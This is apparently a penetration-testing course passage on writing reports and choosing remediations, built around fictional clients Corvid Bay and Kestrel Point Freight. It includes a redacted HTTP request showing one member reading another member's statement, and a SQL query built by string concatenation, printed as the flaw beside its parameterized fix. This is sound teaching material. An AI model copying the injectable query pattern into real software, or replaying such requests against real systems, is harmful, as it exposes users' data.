F-05Staging API address left inside the app buildInformational

Section 7: Detailed findings (F-01 and F-02; the other three are left out here)

F-01. Any member can read another member's statements through the API.
Rating: High. CVSS-B 7.1, CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. With confidentiality requirement CR:H, because statements are sensitive, CVSS-BE is also 7.1.
Affected: api.corvidbay.example, the route /v2/accounts/{id}/statements/{period}.
Evidence: item E-07, excerpt below. The session belongs to test member A; account 100482 belongs to test member B.

GET /v2/accounts/100482/statements/2026-05 HTTP/1.1
Host: api.corvidbay.example
Authorization: Bearer [token removed]

HTTP/1.1 200 OK
{"account":"100482","holder":"TEST MEMBER B","period":"2026-05","balance":"[masked]"}

Impact: any logged-in member could read other members' names, addresses and transactions. Changes to data were not possible through this route.
Root cause: the API checks that a session is valid but not that its member owns the requested account (CWE-639; OWASP API1:2023, Broken Object Level Authorization).
Remediation guidance: enforce an ownership check on the server for every route that takes an account number, in one shared function; add an automated test that fails if one member can fetch another's data; review all other account routes for the same gap.
Retest: repeat E-07. Expected result: a 403 or 404 response and a logged denial.
Owner: API development lead. Target: 14 days.

F-02. Statement requests are neither limited nor monitored.
Rating: Medium, assigned rather than scored, because this is a missing control and not a software flaw. Alone it exposes nothing. With F-01 it decides whether an abuser gets one statement or thousands before anyone notices. It falls to Low once F-01 is fixed.
Evidence: 200 requests in ten minutes, all answered 200 OK; the monitoring team confirmed no alert (ticket 88213).
Root cause: no per-session limit on this route, and statement access is not sent to the monitoring system.
Remediation guidance: add a per-session rate limit; log statement access; alert when one session reads more than one account.
Retest: repeat the burst. Expected result: throttling, and an alert within the agreed time.

Section 8: Recommendations

WhenActionAddressesOwner
Within 14 daysOwnership check on all account routes, then retestF-01API lead
Within 30 daysRate limit and monitor statement accessF-02Platform and monitoring leads
Within 60 daysRetire TLS 1.0; hide version headers; remove the staging addressF-03 to F-05Infrastructure lead
Within 90 daysAuthorization tests in the release pipeline, to stop this class of flaw shipping againWhy F-01 happenedHead of development

Appendices and statement of limits

Appendix A: evidence index. Appendix B: cleaned tool output. Appendix C: test cases with pass or fail. This test is a point-in-time assessment under the authorization dated 1 June 2026. It does not guarantee that no other weaknesses exist.

Step 1: Read the SoW or PWS before you choose a format

A report the contract did not ask for is a defect, however well it reads. Format alignment means shaping the report to what its readers, contract and regulators require. NIST SP 800-115 says a report with several audiences may need several formats, and gives federal FISMA reporting as an example. Corvid Bay's SoW asks for this full report and a two-page summary for its examiners. Another client might hand you its own template, and then you fill in that one, not your firm's.

Documentation specifications is a term CompTIA lists without defining. Read it as the written rules the deliverable must meet: required sections, file format, rating scale, evidence standard, version control, classification marking, number of drafts and due dates. The document-control block on Corvid Bay's cover exists because SOW-26-014 demanded it.

Lesson 3 introduced the statement of work. A performance work statement (PWS) is its results-first relative in US federal contracting. The Federal Acquisition Regulation (FAR) defines a PWS as "a statement of work for performance-based acquisitions", one that states required results in clear, specific and objective terms with measurable outcomes.

FAR 37.602 tells agencies to describe those results rather than how the work is done or how many hours it takes, and the FAR overhaul's Part 37 text keeps the idea.

A statement of objectives (SOO) is the government's shorter list of goals, from which a bidder proposes a PWS; the SOO itself does not become part of the contract.

DocumentWhat it fixesA fictional clause about the reportWhat that means for the writer
SoWThe tasks, deliverables, dates and price"Contractor will test the listed targets over ten business days and deliver one report and one two-page summary."Deliver those documents on time
PWSThe required results and how they are measured"Agency engineers can reproduce every finding rated High or above without help. Acceptance: three findings sampled and reproduced."Write to the measure, because a finding nobody can reproduce can fail acceptance

The upshot: the contract decides what the report must be. On the exam, tasks point to an SoW, measurable required results to a PWS.

Step 2: Define the ratings and score with CVSS v4.0

Readers compare ratings, and you will have to defend them, so agree the scale before the first finding. PTES places the scoring mechanism in the pre-engagement work and names FAIR, DREAD and custom rankings as options. Risk scoring then sits in the report's definitions section, with any terms a reader may not know.

For technical flaws the usual choice is the Common Vulnerability Scoring System (CVSS). When this lesson was checked on 3 November 2026, FIRST's site gave version 4.0 as current, with its specification document at version 1.2, dated 18 June 2024. Version 4.0 has four metric groups, and it names each score after the groups that went into it:

  • CVSS-B (Base, the flaw's own characteristics)
  • CVSS-BT (adds Threat: is it being exploited?)
  • CVSS-BE (adds Environmental: this system, this data)
  • CVSS-BTE (all three)

Vendors and databases such as NVD usually publish only CVSS-B, and the other two groups belong to the organization using the score.

A fourth group, Supplemental, adds context such as safety and does not change the score.

Read aloud, F-01's vector says:

  • reachable from the internet (AV:N)
  • no special conditions (AC:L, AT:N)
  • an ordinary member login needed (PR:L)
  • no victim action (UI:N)
  • serious disclosure with no change or outage on the API itself (VC:H, VI:N, VA:N)
  • no effect seen on other systems (SC:N, SI:N, SA:N)

FIRST's calculator code turns that into 7.1, which FIRST's scale calls High (Low 0.1-3.9, Medium 4.0-6.9, High 7.0-8.9, Critical 9.0-10.0).

Print the version and the whole vector every time. FIRST's FAQ says some scores for the same flaw differ between v3.1 and v4.0, because v4.0 numbers come from expert ranking, and that a number alone hides what the vector shows. You will still meet v3.1 scores, so never compare two numbers without checking their versions. Lesson 14 works through the metrics themselves.

FIRST's own heading on the Base score is "Measures Severity, not Risk". Base describes the flaw; it knows nothing about your client's data, exposure or attackers. So F-01 carries a CVSS-BE score and a sentence of business reasoning: show the number, then say why it matters here.

CVSS has limits too. FIRST describes it as a framework for software vulnerabilities, and F-02 is a missing control. Forcing a vector onto it would give false precision, so the definitions section allows a tester-assigned rating with a written reason. A probability-and-consequence matrix or DREAD from Lesson 5 can fill the same role, as long as the report names its method.

Step 3: Write the detailed findings first

Everything else in the report summarizes the findings, so write them while your evidence is fresh. OWASP's test for a finding is that an engineer can understand it, replicate it and resolve it. F-01 shows the parts you should expect to see:

  • A title that states the consequence. "Any member can read another member's statements" works for a manager and an engineer alike. The flaw's name, IDOR, which Lesson 18 explains, belongs in the body.
  • A rating with its justification. The score, the vector and the reason.
  • Evidence you can defend. Enough to prove the flaw, nothing more. Note what F-01 hides: the token, the balance and any real name.
  • Impact in the client's terms. Which data, whose, and what cannot happen as well as what can.
  • The root cause. The missing ownership check, not "the API is insecure". Lesson 27 covered root cause analysis, and Lesson 29 builds on it.
  • Remediation guidance and a retest. Specific enough to act on, with a result that proves the fix.

Raw output goes in an appendix, and OWASP says to clean it first, not dump it.

Step 4: Build the attack narrative from your timed notes

Findings are vertical: one flaw, in depth. The attack narrative is horizontal: how the flaws and the tester's decisions connected, in time order, on the way to the goal. Corvid Bay's shows what no single finding can: F-02 alone exposes nothing, but following F-01 it turns one stolen statement into a possible mass exposure. PTES likewise wants the technical report to describe the attack path.

Write it from timestamped notes, because the client's monitoring team will lay your times against its logs, and a detection gap only shows up that way. Record where you stopped and why: the 14:30 entry on Tuesday tells an auditor that the ROE held. And record what worked, like the refused expired token. A narrative says what happened and what it proved; exact request details stay in the evidence, where distribution can be controlled.

Step 5: Separate remediation guidance from recommendations

Remediation guidance sits inside a finding and tells an engineer what to change. Recommendations sit at report level and tell a manager what to do first, who owns it and by when, like Section 8's table.

NIST SP 800-115 asks for both technical actions, such as a particular patch, and nontechnical ones aimed at the organization's processes. PTES draws the same line between a symptom, one missing patch on one host, and a systemic issue, a weak patch process.

That is why the last row of Section 8 addresses why F-01 happened, not just F-01. Choosing the right fix takes judgment of its own, and Lesson 29 is about exactly that.

Step 6: State the methodology, limitations and assumptions

The methodology lets a reader judge the work and the next tester repeat it, so it names the standards, tools, dates, source address and starting position. "Two test member accounts, no source code" changes how a reader weighs every finding.

Without the limitations section, silence in a report reads as "secure". A limitation is something that restricted the test; OWASP's list includes out-of-bounds areas, broken functionality, lack of cooperation, lack of time and lack of credentials. An assumption is something you accepted as true without checking, such as the client's word that a test account behaves like a real one. If it turns out to be false, the conclusions resting on it fall too, so name it where the reader can see it. Keep the pair straight: a filtered port is a limitation, and "the client told us" is an assumption.

Step 7: Write the executive summary last

An executive summary can only be written once you know what the findings say, and it must make sense to someone who will read nothing else. OWASP asks for the test's objective, key findings in a business context and strategic recommendations, with jargon and negative speculation left out. PTES adds an overall risk ranking and a roadmap.

Do not writeWriteWhy
"Object-level authorization is missing on /v2/accounts (CVSS-B 7.1).""Any member could read other members' statements."A board acts on consequences, not vectors
"Hackers could drain every account overnight.""We retrieved one test member's statement while logged in as the other."Say what you proved; F-01 could not change data
"Several issues need attention.""Fix F-01 within 14 days and add monitoring within 30."The reader needs a decision and a date

Check it with one question: could the risk committee decide something from this paragraph alone?

The upshot: findings first, executive summary last. You write from the evidence outward, and the client reads from the conclusion inward.

Step 8: Quality control, with a draft that fails it

Lesson 27 covered peer review as a working habit during a test. Quality control (QC) is the gate before release, and a reviewer works through it line by line.

CheckWhat it catches
Reproduce: a second tester follows each finding as writtenSteps only the author understood; flaws that were never real
Recalculate: re-enter every vector and match it to the scaleA wrong score, or a label that disagrees with its number
Scope: compare every address and host with the signed scopeEvidence from a system nobody authorized
Evidence: mask secrets and personal data, flatten images, clear file propertiesLeaks through the report itself, including text under a drawn black box
Consistency: same flaw, same rating; summary figures match the findings"Four findings" on page 1 and five on page 9
Fit: each fix addresses the stated root cause"Apply patches" under a missing authorization check
Leftovers: search for other clients' names and old datesText carried over from a previous report
AI use: trace AI-assisted sentences to evidence; open every referenceConfident statements that nothing supports

A worked task. Here is an exercise made for this course, in the style of a performance-based question. List each defect in the draft, name the check that catches it, and put the most urgent first. Allow four minutes before you read on.

F-07  Insecure API
Rating: Critical (CVSS 7.1)
Affected: api.corvidbay.example, 203.0.113.70
Evidence: Screenshot 31. Logged in as Dana Whitfield, account 100377,
  balance 8,412.16. Bearer token visible in full.
Impact: Hackers could steal everything.
Remediation: Fix the API and patch all servers.
OrderDefectReasoningCheck
1203.0.113.70 is listed as affectedA /26 from .0 ends at .63, and .70 sits in the excluded 203.0.113.64/27. This may be an incident, not a typo. Stop and escalateScope
2A real member's name and balance, and a full tokenTesting was limited to test accounts, so ask how this record was reached. Report that, then mask the evidenceEvidence
3Critical beside 7.1, with no version or vector7.1 is High on the report's own scale. Change the label or give a written reason; never change the number to suit the labelRecalculate
4"Patch all servers"; no root cause, no retestA patch cannot add a missing ownership check. Name the cause, then fit the fix and the retest to itFit
5"Hackers could steal everything"; title "Insecure API"Vague and speculative. State which data, whose, and what was proved; title the consequenceReproduce and consistency

The order matters most. Items 1 and 2 could be events the client must hear about today, while the rest are writing faults you can fix at your desk.

Second run: one fact changes and the headline flips

Now change one input. Suppose the route in F-01 exists only on a staging API, reachable only through the credit union's VPN, holding synthetic data. The code flaw is identical. FIRST's definition of Adjacent includes attacks from inside a limited administrative domain such as a secure VPN, so the environment becomes MAV:A, and the confidentiality requirement falls to CR:L. Watch what moves.

Part of the reportLive API, real membersStaging API, synthetic data
Base scoreCVSS-B 7.1CVSS-B 7.1: the flaw has not changed
Environmental scoreCVSS-BE 7.1, HighCVSS-BE 5.5, Medium (adds CR:L/MAV:A to the vector)
Executive summary"Any member could read other members' statements.""A flaw in pre-release code would expose statements if it shipped. No live system is affected."
RecommendationFix within 14 daysHold the release until the check is in place
AssumptionsTest accounts behave like member accountsNew and vital: production does not contain this code. Confirm it, because if it does, the first column applies

The Base score stood still and nearly everything a reader acts on changed. That is the reason to report both.

Legal and ethical considerations: who else may read this

On the legal side, assume strangers may read the report. It should cite the authorization, keep to the signed scope and carry a point-in-time statement; OWASP offers sample wording and advises consulting a legal professional. Personal data in evidence stays subject to privacy law, one more reason to mask it, and duties such as mandatory reporting from Lesson 3 do not wait for the final version.

Do not assume a label protects a report either. In May 2020 a magistrate judge in the Eastern District of Virginia ordered Capital One to produce Mandiant's report on the 2019 breach covered in Lesson 19, rejecting a work-product claim. A district judge affirmed in June. As Kilpatrick Townsend summarized the order, the report had gone to at least 51 employees, four regulators and an accounting firm, and the retainer was classed as a business expense.

That was an incident report under US federal rules, not a penetration test, but the practical point carries: wide distribution and business use can defeat a privilege claim. Ask counsel; do not rely on a header. Lesson 27 covers secure distribution.

On the ethical side, CompTIA's Candidate Code of Ethics binds certified people:

  • to act with integrity
  • to disclose conflicts of interest
  • never to knowingly make a false or misleading statement to a client or a regulator

In a report, that looks like this:

  • A client may correct a fact or record its risk acceptance. It may not have a true finding deleted from a report that claims to be complete, least of all one going to a regulator. If the two of you disagree, escalate through the contract; do not go around the client.
  • Do not inflate a rating to win follow-up work, or soften one to please a sponsor.
  • Say so if your own scan knocked a service over, and say so if you recommend a product your firm sells.
  • Name the process that failed, not the employee who clicked.

Artificial intelligence in the report: confidentiality and truth

The objectives say only "artificial intelligence". In practice that means two separate risks, and solving one does nothing for the other.

Confidentiality. A draft holds client names, addresses, flaws and evidence, the very things your NDA protects, and CompTIA's code forbids disclosing client confidential information without the client's specific consent. Pasting a draft into an AI service is a disclosure to a third party.

OWASP's guidance for LLM applications tells providers to publish clear terms on data use, with a way to opt out of training, and NIST's generative AI profile lists leakage of sensitive data as a risk.

So read the terms yourself rather than asking a chatbot what it does with your data. Get a named tool approved in writing. Prefer one the client or your firm controls. Strip names, hosts, secrets and personal data before anything is sent.

Truth. NIST calls it confabulation: confidently stated false content. In a report that can mean a CVE number that does not exist, a wrong CVSS vector, an invented reference or a fix that does not match the flaw. OWASP's answer is cross-checking against trusted sources with human oversight, and it warns about overreliance.

A public case shows both risks pulling apart. In 2025 Deloitte agreed to a partial refund on an A$440,000 review for Australia's Department of Employment and Workplace Relations, after errors were found that included nonexistent references. The Guardian reported that the corrected version disclosed a GPT-4o tool chain licensed by the department and hosted in its own Azure tenancy. Deloitte did not say AI caused the errors, and the department said the recommendations stood. Note what the arrangement could and could not do: hosting inside the client's own cloud deals with where the data goes, and it says nothing about whether the output is true.

So use AI, if the contract allows it, for jobs you can check: rewording a sanitized paragraph for a board, say. Recompute every score yourself, open every reference, and trace every factual sentence to your evidence folder. If the client or contract requires it, disclose that AI helped. Your name is on the report.

A chat window in which a user asks for a draft essay on microplastics and the tool replies with confident, well-formatted paragraphs that a reader would still have to check.
An AI chat tool drafting text
ChatGPT - Public domain - Wikimedia Commons

Exam cues: which component the stem wants

The stem saysIt points toDo not confuse with
One page for the board, business impact, no jargonExecutive summaryRecommendations, the action plan
How the first weakness led to the next, in time orderAttack narrativeDetailed findings, one flaw at a time
Standards, tools, dates, how to repeat the testMethodologyScope alone, which lists only targets
Excluded hosts, filtered ports, short windowTest limitationsAssumptions: "the client told us", and nobody checked
What "High" means in this documentDefinitionsThe CVSS specification itself
Client's template, a regulator's layout, two versions for two audiencesFormat alignmentDocumentation specifications: required sections, file type, markings, dates
Required results with measurable standards in a federal contractPWSSoW, which lists tasks; SOO, which is not part of the contract
Same flaw, different system, different numberEnvironmental metrics, CVSS-BEBase metrics, which stay fixed
A reviewer reproduces findings and rechecks scores before releaseQuality controlClient acceptance, which comes after delivery

How the report is delivered, retested and closed

Corvid Bay's version numbers tell the story: 0.9 went to the client for factual review, and 1.0 followed with corrections. After the debrief come the fixes and then a retest, which OWASP suggests should summarize earlier findings and give each one's updated status:

FindingRatingStatus at retest, 24 July 2026Evidence
F-01HighFixed: request from member A for member B's account refused with 403; denial loggedE-31
F-02Medium, now LowPartly fixed: burst throttled; alert rule still in testingE-32
F-04LowRisk accepted by the CIO on 15 JulySigned note

A retest proves only the findings it covers, so the addendum repeats that limitation.

Common misconceptions

  • "The executive summary is a shortened technical section." It answers a different question for a different reader: what this means for the business and what to decide.
  • "A CVSS base score is the finding's risk." FIRST says Base measures severity and should not be used alone to assess risk.
  • "A private AI tool solves the AI problem." It may address confidentiality. It does nothing about false output.
  • "A client can have any finding removed because it paid for the report." It can correct facts or accept risk. A tester may not knowingly mislead a client's regulator or anyone else.

What to remember

  • Report readers differ: the executive summary serves the board, the attack narrative the security team, and detailed findings the engineers.
  • Write in this order: findings, narrative, recommendations, limitations, executive summary last.
  • Format alignment fits the report to readers, contract and regulators; documentation specifications are the deliverable's written rules. An SoW lists tasks; a PWS states measurable results.
  • CVSS is at v4.0, with scores labeled CVSS-B, BT, BE or BTE. Print the version and vector; 7.0-8.9 is High.
  • The Base score stays fixed when the environment changes; Environmental metrics move, and the client's decision moves with them.
  • A limitation restricted the test; an assumption was taken on trust without checking.
  • Quality control reproduces findings, recalculates scores, checks scope, masks evidence and tests whether each fix fits its root cause.
  • AI brings two separate duties: get consent and sanitize before sending, then verify every claim that comes back.

Sources

  1. OWASP. (n.d.). Reporting structure. In Web Security Testing Guide (development branch, read 3 November 2026). github.com/OWASP/wstg
  2. Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), sections 5.2 and 8. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
  3. The PTES Team. (n.d.). Reporting. In Penetration Testing Execution Standard (unofficial mirror; the official site is pentest-standard.org). pentest-standard.readthedocs.io
  4. Forum of Incident Response and Security Teams. (2024). Common Vulnerability Scoring System version 4.0: Specification document (document version 1.2), with the User guide, FAQ and reference calculator. specification; user guide; FAQ; calculator code
  5. Federal Acquisition Regulation (as of FAC 2026-01). Sections 2.101 and 37.602; and FAR overhaul, Part 37 model deviation text. acquisition.gov.
  6. CompTIA. (n.d.). Candidate code of ethics. comptia.org
  7. National Institute of Standards and Technology. (2024). Artificial intelligence risk management framework: Generative artificial intelligence profile (NIST AI 600-1), sections 2.2 and 2.4. nvlpubs.nist.gov (PDF); OWASP. (2025). LLM02:2025 Sensitive information disclosure and LLM09:2025 Misinformation. LLM02; LLM09
  8. Dhanji, K. (2025, October 6). Deloitte to pay money back to Albanese government after using AI in $440,000 report. The Guardian. theguardian.com
  9. In re Capital One Consumer Data Security Breach Litigation, No. 1:19-md-2915, 2020 WL 2731238 (E.D. Va. May 26, 2020), affirmed June 25, 2020; orders read through Kilpatrick Townsend's and Kelley Drye's 2020 summaries. ktslaw.com; kelleydrye.com
  10. MITRE. (n.d.). CWE-639: Authorization bypass through user-controlled key. cwe.mitre.org; OWASP. (2023). API1:2023 Broken object level authorization. owasp.org
Key terms
Executive summary
The opening section of a report, written last, that gives non-technical leaders the test's objective, the key findings in business terms and the strategic recommendations.
Attack narrative
The time-ordered account of how a tester moved from a starting position toward the goal, showing how separate findings connected and where the tester stopped.
Detailed finding
A report entry for one flaw: title, rating and justification, affected systems, evidence, impact, root cause, remediation guidance and a retest.
Test limitation
Anything that restricted what a penetration test could see, such as exclusions, time, access or filtered ports, stated so that silence is not read as safety.
Report assumption
Something a report accepts as true without checking, such as a client's statement; if it proves false, the conclusions resting on it fall too.
Format alignment
Shaping a report to what its readers, contract and regulators require, which can mean a client's template or separate versions for separate audiences.
Performance work statement (PWS)
In US federal contracting, a statement of work that states required results with measurable outcomes rather than how the work is done or for how many hours.
Common Vulnerability Scoring System (CVSS)
FIRST's open standard for rating a vulnerability's severity from 0.0 to 10.0; version 4.0 labels scores CVSS-B, CVSS-BT, CVSS-BE or CVSS-BTE by the metric groups used.
Quality control (QC)
The review before a report is released: reproducing findings, recalculating scores, checking scope, masking evidence and testing that each fix fits its root cause.
Confabulation
NIST's term for a generative AI system confidently presenting false content, colloquially called hallucination, which is why AI-drafted text must be verified.

Fixes That Fit the Finding: Recommending Remediation

  • Test a proposed fix by naming what a finding depends on, replaying the finding with the fix in place, and stating the retest result that would prove it.
  • Match each technical, administrative, operational and physical control in objective 1.5 to a finding it actually addresses and to the retest that proves it.
  • Apply NIST SP 800-63B-4 and CISA guidance to password, multifactor and biometric recommendations, and name Windows LAPS where shared local administrator passwords are the issue.
  • Write a recommendation that separates the interim step, the long-term fix and the process change, with an owner, a target date and a retest.

The fix that left 412 workstations exactly as exposed

Row one of the draft read: "F-01. All 412 Windows workstations share one local administrator password. Recommendation: lengthen it to 20 characters and rotate it every 90 days." The peer reviewer at Ashgrove Security, the fictional firm from Lesson 28, sent back one question: after this fix, how many of the 412 does one password open? All 412.

Here is the whole draft for Kestrel Point Freight, a fictional trucking company. Every row names a real control, which is why it reads well. Pick the row you would reject first.

Exam objectives: 1.5, all of it: 11 technical, 4 administrative, 4 operational and 3 physical controls, each matched to a finding in the mapping table below.

IDFinding as draftedDraft recommendation
F-01All 412 Windows workstations share one local administrator passwordLengthen it to 20 characters; rotate every 90 days
F-02Staff portal accepts short passwords, including ones on breach listsRequire 8 characters with upper case, lower case, digit and symbol; change every 60 days
F-03Customer portal stores passwords in cleartextEncrypt the password column with AES-256
F-04SQL injection in the shipment searchAdd a web application firewall (WAF); strip quotes from input
F-05Staff approved unexpected multifactor authentication (MFA) push prompts in the authorized testTrain staff to reject prompts they did not start
F-06Live cloud access key committed to a Git repositoryDelete the file from the repository
F-07Weighbridge controller runs an operating system out of vendor supportApply the latest patches
F-08Warehouse PCs can reach the finance database directlyMove the PCs to their own VLAN
F-09Tester followed an employee through the server room doorInstall cameras
F-10One payroll clerk creates vendors, approves their payments and has not been absent in three yearsRemind all staff of the finance policy

All ten fail. The sections below trace each failure and bring in the controls that belong beside it.

Three questions every recommendation must survive

NIST SP 800-115 wants a mitigation recommendation for each finding, built on root cause analysis. The reporting outline in the Penetration Testing Execution Standard (PTES) is blunter: "Root Cause is never a patch." Together they give you a test for any fix:

  1. What does the finding depend on? Name the weakness in one line, using the root cause analysis from Lesson 27.
  2. Replay the finding on paper with the fix in place. Where does it stop? If it reaches the same end, the fix does not fit, however good the control is.
  3. What retest result would prove it? If nobody can say, the finding can never be closed. The mapping table gives one for every control.

Worth holding on to: a control is never right or wrong by itself. It is right for one weakness.

F-01: why a longer, fresher password changes nothing

The finding depends on sameness: one credential works on every workstation, so losing one machine can mean losing them all. Length does not touch that, because a stored credential can be reused without being guessed (pass-the-hash). Rotation does not either: on day 91, all 412 share a new password. NSA and CISA say it directly in their joint top-ten advisory: do not reuse local administrator passwords across systems.

Windows LAPS (Windows Local Administrator Password Solution) is the named fix. It gives each device its own random password, rotates it automatically, backs it up to Active Directory or Microsoft Entra ID, and lets authorized administrators retrieve it. It has shipped in Windows updates since April 11, 2023, at no cost. The older Microsoft LAPS product from 2016 is deprecated, and newer Windows versions block its installer.

Two limits belong in your recommendation. Whoever can read the stored passwords can open any workstation, so Microsoft recommends password encryption and tightly limited read rights. And it manages only a local account: it does not remove staff from the local Administrators group or touch domain credentials.

F-02: minimum password requirements under NIST SP 800-63B-4

F-02 depends on the portal accepting short passwords already on breach lists. Under the draft's rule, "Password1!", NIST's own example of what composition rules produce, passes with room to spare. NIST SP 800-63B-4, final since July 2025, reverses much of what older policies demand.

The draft saysSP 800-63B-4 saysWhy
Minimum 8 charactersMinimum 15 where the password is the only factor; 8 allowed only as part of MFALength is a primary factor in strength
Upper, lower, digit, symbolComposition rules must not be imposedPeople respond predictably: "password" becomes "Password1!"
Change every 60 daysPeriodic changes must not be required; a change must be forced on evidence of compromiseEvidence triggers the change, not the calendar
(silent)New passwords must be checked against a blocklist of common, expected or compromised valuesThis is the rule that catches F-02's breached passwords

SP 800-63B-4 is written for US federal systems. Private clients adopt it by choice, though CISA tells all defenders to follow NIST on password policy, and a contract or regulator may demand otherwise, so say so. LAPS rotating passwords is no conflict: the NIST rule covers people who choose and remember passwords, while LAPS generates a random value each time.

On the exam, minimum password requirements is the administrative control for weak passwords being accepted. Older materials pair it with complexity and expiry; if a stem asks for current NIST guidance, choose length and a blocklist. NIST's appendix also notes that phishing works as well on long passwords as short ones, which is why F-05 needs something else.

F-03: encrypting what should be hashed

A stored password only needs to be checked, never read back. Encryption is two-way: anyone holding the key recovers every password, and the application must be able to reach that key. The fix is a one-way, salted, deliberately slow hash, as SP 800-63B-4 requires; OWASP's first choice is Argon2id.

Encryption fits data that must be read again: customer records in an unencrypted backup, logins over plain HTTP, a VPN portal still accepting TLS 1.0. One exam note: the objectives list encryption and never mention hashing. If a stem about stored passwords offers hashing, take it. If it offers only encryption, that is the nearest listed control, but in a real report you write "hash".

F-04: a WAF and a quote filter against SQL injection

F-04 depends on how the query is built. Here is the reviewed code as found and as fixed (attacks are in Lesson 17).

# As found: the user's input becomes part of the SQL text
query = "SELECT status FROM shipments WHERE ref = '" + user_ref + "'"
cursor.execute(query)

# Fixed: the SQL text never changes, and the value travels separately
query = "SELECT status FROM shipments WHERE ref = %s"
cursor.execute(query, (user_ref,))

In the fixed version the database treats the bound value only as data, whatever characters it holds. That is why prepared statements (parameterized queries) head OWASP's primary defenses, and why the March 2024 alert from CISA and the FBI tells software makers to enforce them. Replay the draft:

  • "Strip quotes from input." Objective 1.5 joins sanitizing user input and parameterizing queries in one bullet, but they are not equals. CISA and the FBI call sanitization "brittle, difficult to enforce at scale", and OWASP notes that blocking apostrophes just rejects a customer named O'Brien. Validation keeps a supporting role: server-side allow-list checks of type, length and format, plus context-aware output encoding against cross-site scripting.
  • "Add a WAF." OWASP calls this a virtual patch: it covers only traffic it inspects and attack variants its rules recognize, and the flaw remains. It is a good interim step if the report labels it interim and gives the real fix a date.

Process-level remediation and the secure SDLC: stopping the next one

Suppose the code fix is perfect. F-04 touched three of twelve routes, all added in one release, so the next release can bring a fourth. NIST SP 800-115 lists poor integration of security into the development life cycle among common root causes.

Process-level remediation is part of the answer. CompTIA lists it under technical controls without defining it, and we found no definition in its public documents. This course reads it as: change the step in the workflow that let the flaw through, preferably so that a machine enforces the change. F-01's source is the workstation build, so take the shared password out of the image. For F-04, CISA and the FBI recommend libraries that make the secure route the default, and checks at pull request time. For F-06, secret scanning in the pipeline (Lesson 11) stops the next key at the commit.

The secure software development life cycle (SDLC) is the wider, administrative version: security requirements, design review, code review and testing built into each phase of making software. NIST's Secure Software Development Framework (SP 800-218) exists because few SDLC models address security in detail. Recommend it when one class of flaw keeps returning, not for a flaw in a product the client only buys.

Worth holding on to: one finding can need two fixes, one for the instance in production and one for the step that produced it. Report both, with separate owners.

F-05: when training is asked to do the job of multifactor authentication

F-05 depends on a prompt that looks the same whether the login is real or not, and on a person being right every time. CISA calls the abuse "push bombing" or MFA fatigue. SP 800-63B-4 says push verifiers should limit how many prompts they send, and rejects methods that merely ask someone to compare codes and approve, naming fatigue attacks as a reason.

Multifactor authentication is the right family; the fix is a stronger member of it. CISA's "gold standard" is phishing-resistant MFA: FIDO/WebAuthn authenticators such as hardware security keys, and methods based on public key infrastructure (PKI) such as smart cards. Where a client cannot move yet, number matching is one of the best interim steps, because the person must enter a number shown on the login screen. So recommend number matching and a prompt limit now, then phishing-resistant authenticators, administrators first. MFA has limits too: on the VPN it does nothing about F-01's password, which is used between machines inside the network.

Training's role here is small, as the randomized phishing trials in Lesson 21 showed. OWASP's testing guide says to "recommend technical controls first", then add process fixes and short user guidance.

Two small black hardware security keys on a pale surface, one with a USB-A contact strip and one with a USB-C plug, the kind of authenticator used for FIDO phishing-resistant login.
Hardware security keys
Tony Webster from Minneapolis, Minnesota, United States. Cropped... - CC BY 2.0 - Wikimedia Commons

F-06: deleting a key that is already out

Deleting the file leaves the key working and in the repository's history, and even rewritten history may survive in clones, forks and cached views. GitHub's guidance: for a secret, the first step is to revoke or rotate it, because then it can no longer be used.

Key rotation replaces a key and retires the old one, on a schedule set by its cryptoperiod (NIST's term for its authorized lifetime, SP 800-57) and at once after any suspected exposure.

Rotation alone sets up the next leak, because the new key goes back where the old one was. A secrets management solution removes the reason to keep it there. OWASP describes centralizing storage, provisioning, auditing and rotation, with short-lived credentials where possible. It gives two reasons: shared secrets make a leak hard to trace, and manual rotation invites mistakes. The vault then becomes a high-value system, so say that too.

The order matters: rotate today, move to the vault next, add the pipeline scan after that.

A neighbor of F-06 follows the same pattern: the portal's TLS certificate expired on a Sunday, and support staff have learned to click through the warning. "Renew it" repairs Monday. Certificate management is the lifecycle work around a public key infrastructure: knowing every certificate, its owner and expiry date, renewing automatically with a protocol such as ACME (RFC 8555), and revoking when a key is exposed. It cannot stay manual: the CA/Browser Forum's limit for publicly trusted TLS certificates has been 200 days since March 15, 2026, falls to 100 on March 15, 2027 and to 47 on March 15, 2029.

A diagram with desks labeled CA, RA and VA: a user applies for a certificate through the registration authority, the certification authority issues it, and a web shop checks it with the validation authority.
The parts of a public key infrastructure
Chris 論 - CC BY-SA 3.0 - Wikimedia Commons
A browser page headed There is a problem with this website's security certificate, advising the reader to close the page, with a small link to continue anyway.
A browser certificate warning
The Microsoft Corporation. - Public domain - Wikimedia Commons

F-07 and F-08: no patch to apply, and a VLAN that separates nothing

F-07 dies at question two: there is nothing to install. NIST SP 800-40 Rev. 4 plans for this. Beside routine patching, emergency patching and emergency mitigation, its fourth scenario is unpatchable assets, such as an end-of-life device with no vendor patches, protected by isolation and other long-term mitigations. NSA and CISA agree: segment where patching is not possible, and retire unsupported systems as soon as you can. That set is a compensating control. It lowers the risk, but the weakness stays, so the report states what remains and who accepts it (Lesson 27).

Patch management fits a different finding: 17 of 40 servers months behind on available fixes. PTES contrasts one missing patch on one box with the systemic issue of an ineffective patch process, so recommend the process: an inventory, a schedule, tracking, automation where possible, and priority for known exploited vulnerabilities.

F-08's draft fails more quietly. A virtual LAN (VLAN) separates traffic at layer 2, but if routing between VLANs is open, the warehouse PCs still reach the finance database, one hop later. CISA pairs VLANs with properly configured access control lists. Network segmentation means a boundary that filters: deny by default, then allow only the flows the business needs.

System hardening removes what should not be there: unneeded services and vendor defaults, following vendor guides and DISA Security Technical Implementation Guides (CISA; SP 800-53, CM-7). If Telnet is enabled on the core switches, a perimeter firewall rule leaves the service running and the internal path open. A hardening retest wants the port closed, because the service is gone; filtered only says something blocks your view, as you saw in Lesson 7 when a firewall rule hid a running FTP service. In a segmentation retest, filtered is the pass. Same word, opposite verdicts.

